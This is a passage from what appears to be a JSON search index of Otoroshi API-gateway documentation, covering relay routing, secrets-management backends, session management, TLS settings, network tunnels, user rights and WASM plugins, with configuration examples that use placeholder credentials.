traffic to the right network zone for you.\n\n@@@ div { .centered-img }\n\n@@@\n\n\n@@@ warning { .margin-top-20 }\nthis feature may introduce additional latency as the call passes through relay nodes\n@@@\n\n## Otoroshi instance setup\n\nfirst of all, for every otoroshi instance deployed, you have to flag where the instance is deployed and, for leaders, how this instance can be contacted from other zones (this is a **MAJOR** requirement, without that, you won't be able to make relay routing work). Also, you'll have to enable the @ref:[new proxy engine](./engine.md).\n\nIn the otoroshi configuration file, for each instance, enable relay routing and configure where the instance is located and how the leader can be contacted\n\n```conf\notoroshi {\n ...\n cluster {\n mode = \"leader\" # or \"worker\" dependending on the instance kind\n ...\n relay {\n enabled = true # enable relay routing\n leaderOnly = true # use leaders as the only kind of relay node\n location { # you can use all those parameters at the same time. There is no actual network concepts bound here, just some kind of tagging system, so you can use it as you wish\n provider = ${?OTOROSHI_CLUSTER_RELAY_LOCATION_PROVIDER}\n zone = \"zone-1\"\n region = ${?OTOROSHI_CLUSTER_RELAY_LOCATION_REGION}\n datacenter = ${?OTOROSHI_CLUSTER_RELAY_LOCATION_DATACENTER}\n rack = ${?OTOROSHI_CLUSTER_RELAY_LOCATION_RACK}\n }\n exposition {\n urls = [\"https://otoroshi-api-zone-1.my.domain:443\"]\n hostname = \"otoroshi-api-zone-1.my.domain\"\n clientId = \"apkid_relay-routing-apikey\"\n }\n }\n }\n}\n```\n\nalso, to make your leaders exposed by zone, do not hesitate to add domain names to the `otoroshi-admin-api` service and setup your DNS to bind those domains to the right place\n\n@@@ div { .centered-img }\n\n@@@\n\n## Route setup for an application deployed in only one zone\n\nNow, for any route/service deployed in only one zone, you will be able to flag it using its metadata as being deployed in one zone or another. The possible metadata keys are the following\n\n- `otoroshi-deployment-providers`\n- `otoroshi-deployment-regions`\n- `otoroshi-deployment-zones`\n- `otoroshi-deployment-dcs`\n- `otoroshi-deployment-racks`\n\nlet say we set `otoroshi-deployment-zones=zone-1` on a route, if we call this route from an otoroshi instance where `otoroshi.cluster.relay.location.zone` is not `zone-1`, otoroshi will automatically forward the requests to an otoroshi leader node where `otoroshi.cluster.relay.location.zone` is `zone-1`\n\n## Route setup for an application deployed in multiple zones at the same time\n\nNow, for any route/service deployed in multiple zones zones at the same time, you will be able to flag it using its metadata as being deployed in some zones. The possible metadata keys are the following\n\n- `otoroshi-deployment-providers`\n- `otoroshi-deployment-regions`\n- `otoroshi-deployment-zones`\n- `otoroshi-deployment-dcs`\n- `otoroshi-deployment-racks`\n\nlet say we set `otoroshi-deployment-zones=zone-1, zone-2` on a route, if we call this route from an otoroshi instance where `otoroshi.cluster.relay.location.zone` is not `zone-1` or `zone-2`, otoroshi will automatically forward the requests to an otoroshi leader node where `otoroshi.cluster.relay.location.zone` is `zone-1` or `zone-2` and load balance between them.\n\nalso, you will have to setup your targets to avoid trying to contact targets that are not actually in the current zone. To do that, you'll have to set the target predicate to `NetworkLocationMatch` and fill the possible locations according to the actual location of your target\n\n@@@ div { .centered-img }\n\n@@@\n\n## Demo\n\nyou can find a demo of this setup [here](https://github.com/MAIF/otoroshi/tree/master/demos/relay). This is a `docker-compose` setup with multiple network to simulate network zones. You also have an otoroshi export to understand how to setup your routes/services\n" + }, + { + "name": "secrets.md", + "id": "/topics/secrets.md", + "url": "/topics/secrets.html", + "title": "Secrets management", + "content": "# Secrets management\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nSecrets are generally confidential values that should not appear in plain text in the application. There are several products that help you store, retrieve, and rotate these secrets securely. Otoroshi offers a mechanism to set up references to these secrets in its entities to benefits from the perks of your existing secrets management infrastructure. This feature only work with the @ref:[new proxy engine](./engine.md).\n\nA secret can be anything you want like an apikey secret, a certificate private key or password, a jwt verifier signing key, a password to a proxy, a value for a header, etc.\n\n## Enable secrets management in otoroshi\n\nBy default secrets management is disbaled. You can enable it by setting `otoroshi.vaults.enabled` or `${OTOROSHI_VAULTS_ENABLED}` to `true`.\n\n## Global configuration\n\nSecrets management can be only configured using otoroshi static configuration file (also using jvm args mechanism). \nThe configuration is located at `otoroshi.vaults` where you can find the global configuration of the secrets management system and the configurations for each enabled secrets management backends. Basically it looks like\n\n```conf\nvaults {\n enabled = false\n enabled = ${?OTOROSHI_VAULTS_ENABLED}\n secrets-ttl = 300000 # 5 minutes\n secrets-ttl = ${?OTOROSHI_VAULTS_SECRETS_TTL}\n cached-secrets = 10000\n cached-secrets = ${?OTOROSHI_VAULTS_CACHED_SECRETS}\n read-timeout = 10000 # 10 seconds\n read-timeout = ${?OTOROSHI_VAULTS_READ_TIMEOUT}\n # if enabled, only leader nodes fetches the secrets.\n # entities with secret values filled are then sent to workers when they poll the cluster state.\n # only works if `otoroshi.cluster.autoUpdateState=true`\n leader-fetch-only = false\n leader-fetch-only = ${?OTOROSHI_VAULTS_LEADER_FETCH_ONLY}\n env {\n type = \"env\"\n prefix = ${?OTOROSHI_VAULTS_ENV_PREFIX}\n }\n}\n```\n\nyou can see here the global configuration and a default backend configured that can retrieve secrets from environment variables. \n\nThe configuration keys can be used for \n\n- `secrets-ttl`: the amount of milliseconds before the secret value is read again from backend\n- `cached-secrets`: the number of secrets that will be cached on an otoroshi instance\n- `read-timeout`: the timeout (in milliseconds) to read a secret from a backend\n\n## Entities with secrets management\n\nthe entities that support secrets management are the following \n\n- `routes`\n- `services`\n- `service_descriptors`\n- `apikeys`\n- `certificates`\n- `jwt_verifiers`\n- `authentication_modules`\n- `targets`\n- `backends`\n- `tcp_services`\n- `data_exporters`\n\n## Define a reference to a secret\n\nin the previously listed entities, you can define, almost everywhere, references to a secret using the following syntax:\n\n`${vault://name_of_the_vault/secret/of/the/path}`\n\nlet say I define a new apikey with the following value as secret `${vault://my_env/apikey_secret}` with the following secrets management configuration\n\n```conf\nvaults {\n enabled = true\n secrets-ttl = 300000\n cached-secrets = 10000\n read-ttl = 10000\n my_env {\n type = \"env\"\n }\n}\n```\n\nif the machine running otoroshi has an environment variable named `APIKEY_SECRET` with the value `verysecret`, then you will be able to can an api with the defined apikey `client_id` and a `client_secret` value of `verysecret`\n\n```sh\ncurl 'http://my-awesome-api.oto.tools:8080/api/stuff' -u awesome_apikey:verysecret\n```\n\n## Possible backends\n\nOtoroshi comes with the support of several secrets management backends.\n\n### Environment variables\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"env\"\n prefix = \"the_prefix_added_to_the_name_of_the_env_variable\"\n }\n}\n```\n\n### Local\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"local\"\n root = \"the_root_path/in_otoroshi/environment\"\n }\n}\n```\n\nvalue of this vault can be configured in the danger zone > Global metadata > Otoroshi environment.\n\n### Infisical\n\na backend for the awesome open source project [Infisical](https://infisical.com/). It support both E2EE and non E2EE secrets.\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"infisical\"\n baseUrl = \"https://app.infisical.com\" # optional, the base url of your infisical server, fallbacks to https://app.infisical.com\n serviceToken = \"st.xxxx.yyyy.zzzz\" # the service token for your projet\n e2ee = true # are you secrets end to end encrypted\n defaultSecretType = \"shared\" # optional, fallbacks to shared\n defaultWorkspaceId = \"xxxxxx\" # optional, value can be passed in the secret address\n defaultEnvironment = \"dev\" # optional, value can be passed in the secret address\n }\n}\n```\n\nyou should define your references like `${vault://infisical_vault/my_secret_path?workspaceId=xxx&environment=dev&type=shared}`. `workspaceId`, `environment` and `type` are optional if filled in global config. \n\nYou can also pass a `json_pointer=/foo/bar` to handle the value like a json document a select a value inside it.\n\n### Hashicorp Vault\n\na backend for [Hashicorp Vault](https://www.vaultproject.io/). Right now we only support KV engines.\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"hashicorp-vault\"\n url = \"http://127.0.0.1:8200\"\n mount = \"kv\" # the name of the secret store in vault\n kv = \"v2\" # the version of the kv store (v1 or v2)\n token = \"root\" # the token that can access to your secrets\n }\n}\n```\n\nyou should define your references like `${vault://hashicorp_vault/secret/path/key_name}`.\n\n\n### Azure Key Vault\n\na backend for [Azure Key Vault](https://azure.microsoft.com/en-en/services/key-vault/). Right now we only support secrets and not keys and certificates.\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"azure\"\n url = \"https://keyvaultname.vault.azure.net\"\n api-version = \"7.2\" # the api version of the vault\n tenant = \"xxxx-xxx-xxx\" # your azure tenant id, optional\n client_id = \"xxxxx\" # your azure client_id\n client_secret = \"xxxxx\" # your azure client_secret\n # token = \"xxx\" possible if you have a long lived existing token. will take over tenant / client_id / client_secret\n }\n}\n```\n\nyou should define your references like `${vault://azure_vault/secret_name/secret_version}`. `secret_version` is mandatory\n\nIf you want to use certificates and keys objects from the azure key vault, you will have to specify an option in the reference named `azure_secret_kind` with possible value `certificate`, `privkey`, `pubkey` like the following :\n\n```\n${vault://azure_vault/myprivatekey/secret_version?azure_secret_kind=privkey}\n```\n\n### AWS Secrets Manager\n\na backend for [AWS Secrets Manager](https://aws.amazon.com/en/secrets-manager/)\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"aws\"\n access-key = \"key\"\n access-key-secret = \"secret\"\n region = \"eu-west-3\" # the aws region of your secrets management\n }\n}\n```\n\nyou should define your references like `${vault://aws_vault/secret_name/secret_version}`. `secret_version` is optional\n\n### Google Cloud Secrets Manager\n\na backend for [Google Cloud Secrets Manager](https://cloud.google.com/secret-manager)\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"gcloud\"\n url = \"https://secretmanager.googleapis.com\"\n apikey = \"secret\"\n }\n}\n```\n\nyou should define your references like `${vault://gcloud_vault/projects/foo/secrets/bar/versions/the_version}`. `the_version` can be `latest`\n\n### AlibabaCloud Cloud Secrets Manager\n\na backend for [AlibabaCloud Secrets Manager](https://www.alibabacloud.com/help/en/doc-detail/152001.html)\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"alibaba-cloud\"\n url = \"https://kms.eu-central-1.aliyuncs.com\"\n access-key-id = \"access-key\"\n access-key-secret = \"secret\"\n }\n}\n```\n\nyou should define your references like `${vault://alibaba_vault/secret_name}`\n\n\n### Kubernetes Secrets\n\na backend for [Kubernetes secrets](https://kubernetes.io/en/docs/concepts/configuration/secret/)\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"kubernetes\"\n # see the configuration of the kubernetes plugin, \n # by default if the pod if well configured, \n # you don't have to setup anything\n }\n}\n```\n\nyou should define your references like `${vault://k8s_vault/namespace/secret_name/key_name}`. `key_name` is optional. if present, otoroshi will try to lookup `key_name` in the secrets `stringData`, if not defined the secrets `data` will be base64 decoded and used.\n\n\n### Izanami config.\n\na backend for [Izanami config.](https://maif.github.io/izanami/manual/)\n\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"izanami\"\n url = \"http://127.0.0.1:8200\"\n client-id = \"client\"\n client-secret = \"secret\"\n }\n}\n```\n\nyou should define your references like `${vault://izanami_vault/the:secret:id/key_name}`. `key_name` is optional if the secret value is not a json object\n\n### Spring Cloud Config\n\na backend for [Spring Cloud Config.](https://docs.spring.io/spring-cloud-config/docs/current/reference/html/)\n\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"spring-cloud\"\n url = \"http://127.0.0.1:8000\"\n root = \"myapp/prod\"\n headers {\n authorization = \"Basic xxxx\"\n }\n }\n}\n```\n\nyou should define your references like `${vault://spring_vault/the/path/of/the/value}` where `/the/path/of/the/value` is the path of the value.\n\n### Http backend\n\na backend for that uses the result of an http endpoint\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"http\"\n url = \"http://127.0.0.1:8000/endpoint/for/config\"\n headers {\n authorization = \"Basic xxxx\"\n }\n }\n}\n```\n\nyou should define your references like `${vault://http_vault/the/path/of/the/value}` where `/the/path/of/the/value` is the path of the value.\n" + }, + { + "name": "sessions-mgmt.md", + "id": "/topics/sessions-mgmt.md", + "url": "/topics/sessions-mgmt.html", + "title": "Sessions management", + "content": "# Sessions management\n\n## Admins\n\nAll logged users to an Otoroshi instance are administrators. An user session is created for each sucessfull connection to the UI. \n\nThese sessions are listed in the `Admin users sessions` (available in the cog icon menu or at this location of your instance `/bo/dashboard/sessions/admin`).\n\nAn admin user session is composed of: \n\n* `name`: the name of the connected user\n* `email`: the unique email\n* `Created at`: the creation date of the user session\n* `Expires at`: date until the user session is drop\n* `Profile`: user profile, at JSON format, containing name, email and others linked metadatas\n* `Rights`: list of rules to authorize the connected user on each tenant and teams.\n* `Discard session`: action to kill a session. On click, a modal will appear with the session ID\n\nIn the `Admin users sessions` page, you have two more actions:\n\n* `Discard all sessions`: kills all current sessions (including the session of the owner of this action)\n* `Discard old sessions`: kill all outdated sessions\n\n## Private apps\n\nAll logged users to a protected application has an private user session.\n\nThese sessions are listed in the `Private apps users sessions` (available in the cog icon menu or at this location of your instance `/bo/dashboard/sessions/private`).\n\nAn private user session is composed of: \n\n* `name`: the name of the connected user\n* `email`: the unique email\n* `Created at`: the creation date of the user session\n* `Expires at`: date until the user session is drop\n* `Profile`: user profile, at JSON format, containing name, email and others linked metadatas\n* `Meta.`: list of metadatas added by the authentication module.\n* `Tokens`: list of tokens received from the identity provider used. In the case of a memory authentication, this part will keep empty.\n* `Discard session`: action to kill a session. On click, a modal will appear with the session ID\n" + }, + { + "name": "tls.md", + "id": "/topics/tls.md", + "url": "/topics/tls.html", + "title": "TLS", + "content": "# TLS\n\nas you might have understand, otoroshi can store TLS certificates and use them dynamically. It means that once a certificate is imported or created in otoroshi, you can immediately use it to serve http request over TLS, to call https backends that requires mTLS or that do not have certicates signed by a globally knowned authority.\n\n## TLS termination\n\nany certficate added to otoroshi with a valid `CN` and `SANs` can be used in the following seconds to serve https requests. If you do not provide a private key with a certificate chain, the certificate will only be trusted like a CA. If you want to perform mTLS calls on you otoroshi instance, do not forget to enabled it (it is disabled by default for performance reasons as the TLS handshake is bigger with mTLS enabled)\n\n```sh\notoroshi.ssl.fromOutside.clientAuth=None|Want|Need\n```\n\nor using env. variables\n\n```sh\nSSL_OUTSIDE_CLIENT_AUTH=None|Want|Need\n```\n\n### TLS termination configuration\n\nYou can configure TLS termination statically using config. file or env. variables. Everything is available at `otoroshi.tls`\n\n```conf\notoroshi {\n tls {\n # the cipher suites used by otoroshi TLS termination\n cipherSuitesJDK11 = [\"TLS_AES_128_GCM_SHA256\", \"TLS_AES_256_GCM_SHA384\", \"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_DHE_DSS_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_DHE_DSS_WITH_AES_128_GCM_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384\", \"TLS_RSA_WITH_AES_256_CBC_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384\", \"TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384\", \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA256\", \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\", \"TLS_RSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDH_RSA_WITH_AES_256_CBC_SHA\", \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA\", \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA\", \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\", \"TLS_RSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDH_RSA_WITH_AES_128_CBC_SHA\", \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA\", \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA\", \"TLS_EMPTY_RENEGOTIATION_INFO_SCSV\"]\n cipherSuitesJDK8 = [\"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384\", \"TLS_RSA_WITH_AES_256_CBC_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384\", \"TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384\", \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA256\", \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\", \"TLS_RSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDH_RSA_WITH_AES_256_CBC_SHA\", \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA\", \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA\", \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\", \"TLS_RSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDH_RSA_WITH_AES_128_CBC_SHA\", \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA\", \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA\", \"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_DHE_DSS_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_DHE_DSS_WITH_AES_128_GCM_SHA256\", \"TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA\", \"SSL_RSA_WITH_3DES_EDE_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA\", \"TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA\", \"SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA\", \"SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA\", \"TLS_EMPTY_RENEGOTIATION_INFO_SCSV\"]\n cipherSuites = []\n # the protocols used by otoroshi TLS termination\n protocolsJDK11 = [\"TLSv1.3\", \"TLSv1.2\", \"TLSv1.1\", \"TLSv1\"]\n protocolsJDK8 = [\"SSLv2Hello\", \"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n protocols = []\n # the JDK cacert access\n cacert {\n path = \"$JAVA_HOME/lib/security/cacerts\"\n password = \"changeit\"\n }\n # the mtls mode\n fromOutside {\n clientAuth = \"None\"\n clientAuth = ${?SSL_OUTSIDE_CLIENT_AUTH}\n }\n # the default trust mode\n trust {\n all = false\n all = ${?OTOROSHI_SSL_TRUST_ALL}\n }\n # some initial cacert access, useful to include non standard CA when starting (file paths)\n initialCacert = ${?CLUSTER_WORKER_INITIAL_CACERT}\n initialCacert = ${?INITIAL_CACERT}\n initialCert = ${?CLUSTER_WORKER_INITIAL_CERT}\n initialCert = ${?INITIAL_CERT}\n initialCertKey = ${?CLUSTER_WORKER_INITIAL_CERT_KEY}\n initialCertKey = ${?INITIAL_CERT_KEY}\n # initialCerts = [] \n }\n}\n```\n\n\n### TLS termination settings\n\nIt is possible to adjust the behavior of the TLS termination from the `danger zone` at the `Tls Settings` section. Here you can either define that a non-matching SNI call will use a random TLS certtificate to reply or will use a default domain (the TLS certificate associated to this domain) to reply. Here you can also choose if you want to trust all the CAs trusted by your JDK when performing TLS calls `Trust JDK CAs (client)` or when receiving mTLS calls `Trust JDK CAs (server)`. If you disable the later, it is possible to select the list of CAs presented to the client during mTLS handshake.\n\n### Certificates auto generation\n\nit is also possible to generate non-existing certificate on the fly without losing the request. If you are interested by this feature, you can enable it in the `danger zone` at the `Auto Generate Certificates` section. Here you'll have to enable it and select the CA that will generate the certificate. Of course, the client will have to trust the selected CA. You can also add filters to choose which domain are allowed to generate certificates or not. The `Reply Nicely` flag is used to reply a nice error message (ie. human readable) telling that it's not possible to have an auto certficate for the current domain. \n\n## Backends TLS and mTLS calls\n\nFor any call to a backend, it is possible to customize the TLS behavior \n\n@@@ div { .centered-img }\n\n@@@\n\nhere you can define your level of trust (trust all, loose verification) or even select on or more CAs you will trust for the following backend calls. You can also select the client certificate that will be used for the following backend calls\n\n## Keypair for signing and verification\n\nIt is also possible to use the keypair contained in a certificate to sign and verificate JWT token signature. You can mark an existing certificate in otoroshi as a keypair using the `keypair` on the certificate page.\n\n@@@ div { .centered-img }\n\n@@@\n" + }, + { + "name": "tunnels.md", + "id": "/topics/tunnels.md", + "url": "/topics/tunnels.html", + "title": "Otoroshi tunnels", + "content": "# Otoroshi tunnels\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nSometimes, exposing apis that lives in our private network can be a nightmare, especially from a networking point of view. \nWith otoroshi tunnels, this is now trivial, as long as your internal otoroshi (that lives inside your private network) is able to contact an external otoroshi (exposed on the internet).\n\n@@@ warning { .margin-top-20 }\nYou have to enable cluster mode (Leader or Worker) to make this feature work. As this feature is experimental, we only support simple http request right now. Server Sent Event and Websocket request are not supported at the moment.\n@@@\n\n## How Otoroshi tunnels works\n\nthe main idea behind otoroshi tunnels is that the connection between your private network et the public network is initiated by the private network side. You don't have to expose a part of your private network, create a DMZ or whatever, you just have to authorize your private network otoroshi instance to contact your public network otoroshi instance.\n\n@@@ div { .centered-img }\n\n@@@\n\nonce the persistent tunnel has been created, you can create routes on the public otoroshi instance that uses the otoroshi `Remote tunnel calls` to target your remote routes through the designated tunnel instance \n\n\n@@@ div { .centered-img }\n\n@@@\n\n@@@ warning { .margin-top-20 }\nthis feature may introduce additional latency as the call passes through otoroshi tunnels\n@@@\n\n## Otoroshi tunnel example\n\nfirst you have to enable the tunnels feature in your otoroshi configuration (on both public and private instances)\n\n```conf\notoroshi {\n ...\n tunnels {\n enabled = true\n enabled = ${?OTOROSHI_TUNNELS_ENABLED}\n ...\n }\n}\n```\n\nthen you can setup a tunnel instance on your private instance to contact your public instance\n\n```conf\notoroshi {\n ...\n tunnels {\n enabled = true\n ...\n public-apis {\n id = \"public-apis\"\n name = \"public apis tunnel\"\n url = \"https://otoroshi-api.company.com:443\"\n host = \"otoroshi-api.company.com\"\n clientId = \"xxx\"\n clientSecret = \"xxxxxx\"\n # ipAddress = \"127.0.0.1\" # optional: ip address of the public instance admin api\n # tls { # optional: TLS settings to access the public instance admin api\n # ... \n # }\n # export-routes = true # optional: send routes information to remote otoroshi instance to facilitate remote route exposition\n # export-routes-tag = \"tunnel-exposed\" # optional: only send routes information if the route has this tag\n }\n }\n}\n```\n\nNow when your private otoroshi instance will boot, a persistent tunnel will be made between private and public instance. \nNow let say you have a private api exposed on `api-a.company.local` on your private otoroshi instance and you want to expose it on your public otoroshi instance. \n\nFirst create a new route exposed on `api-a.company.com` that targets `https://api-a.company.local:443`\n\n@@@ div { .centered-img }\n\n@@@\n\nthen add the `Remote tunnel calls` plugin to your route and set the tunnel id to `public-apis` to match the id you set in the otoroshi config file\n\n@@@ div { .centered-img }\n\n@@@\n\nadd all the plugin you need to secure this brand new public api and call it\n\n```sh\ncurl \"https://api-a.company.com/users\" | jq\n```\n\n## Easily expose your remote services\n\nyou can see all the connected tunnel instances on an otoroshi instance on the `Connected tunnels` (`Cog icon` / `Connected tunnels`). For each tunnel instance you will be able to check the tunnel health and also to easily expose all the routes available on the other end of the tunnel. Just clic on the `expose` button of the route you want to expose, and a new route will be created with the `Remote tunnel calls` plugin already setup.\n\n@@@ div { .centered-img }\n\n@@@\n" + }, + { + "name": "user-rights.md", + "id": "/topics/user-rights.md", + "url": "/topics/user-rights.html", + "title": "Otoroshi user rights", + "content": "# Otoroshi user rights\n\nIn Otoroshi, all users are considered **Administrators**. This choice is reinforced by the fact that Otoroshi is designed to be an administrator user interface and not an interface for users who simply want to view information. For this type of use, we encourage to use the admin API rather than giving access to the user interface.\n\nThe Otoroshi rights are split by a list of authorizations on **organizations** and **teams**. \n\nLet's taking an example where we want to authorize an administrator user on all organizations and teams.\n\nThe list of rights will be :\n\n```json\n[\n {\n \"tenant\": \"*:rw\", # (1)\n \"teams\": [\"*:rw\"] # (2)\n }\n]\n```\n\n* (1): this field, separated by a colon, indicates the name of the tenant and the associated rights. In our case, we set `*` to apply the rights to all tenants, and the `rw` to get the read and write access on them.\n* (2): the `teams` array field, represents the list of rights, applied by team. The behaviour is the same as the tenant field, we define the team or the wildcard, followed by the rights\n\nif you want to have an user that is administrator only for one organization, the rights will be :\n\n```json\n[\n {\n \"tenant\": \"orga-1:rw\",\n \"teams\": [\"*:rw\"]\n }\n]\n```\n\nif you want to have an user that is administrator only for two organization, the rights will be :\n\n```json\n[\n {\n \"tenant\": \"orga-1:rw\",\n \"teams\": [\"*:rw\"]\n },\n {\n \"tenant\": \"orga-2:rw\",\n \"teams\": [\"*:rw\"]\n }\n]\n```\n\nif you want to have an user that can only see 3 teams of one organization and one team in the other, the rights will be :\n\n```json\n[\n {\n \"tenant\": \"orga-1:rw\",\n \"teams\": [\n \"team-1:rw\",\n \"team-2:rw\",\n \"team-3:rw\",\n ]\n },\n {\n \"tenant\": \"orga-2:rw\",\n \"teams\": [\n \"team-4:rw\"\n ]\n }\n]\n```\n\nThe list of possible rights for an organization or a team is:\n\n* **r**: read access\n* **w**: write access\n* **not**: none access to the resource\n\nThe list of possible tenant and teams are your created tenants and teams, and the wildcard to define rights to all resources once.\n\nThe user rights is defined by the @ref:[authentication modules](../entities/auth-modules.md).\n" + }, + { + "name": "wasm-usage.md", + "id": "/topics/wasm-usage.md", + "url": "/topics/wasm-usage.html", + "title": "Otoroshi and WASM", + "content": "# Otoroshi and WASM\n\nWebAssembly (WASM) is a simple machine model and executable format with an extensive specification. It is designed to be portable, compact, and execute at or near native speeds. Otoroshi already supports the execution of WASM files by providing different plugins that can be applied on routes. These plugins are:\n\n- `WasmRouteMatcher`: useful to define if a route can handle a request\n- `WasmPreRoute`: useful to check request and extract useful stuff for the other plugins\n- `WasmAccessValidator`: useful to control access to a route (jump to the next section to learn more about it)\n- `WasmRequestTransformer`: transform the content of an incoming request (body, headers, etc ...)\n- `WasmBackend`: execute a WASM file as Otoroshi target. Useful to implement user defined logic and function at the edge\n- `WasmResponseTransformer`: transform the content of the response produced by the target\n- `WasmSink`: create a sink plugin to handle unmatched requests\n- `WasmRequestHandler`: create a plugin that can handle the whole request lifecycle\n- `WasmJob`: create a job backed by a wasm function\n\nTo simplify the process of WASM creation and usage, Otoroshi provides:\n\n- otoroshi ui integration: a full set of plugins that let you pick which WASM function to runtime at any point in a route\n- otoroshi `wasmo`: a code editor in the browser that let you write your plugin in `Rust`, `TinyGo`, `Javascript` or `Assembly Script` without having to think about compiling it to WASM (you can find a complete tutorial about it @ref:[here](../how-to-s/wasmo-installation.md))\n\n@@@ div { .centered-img }\n\n@@@\n\n## Available tutorials\n\nhere is the list of available 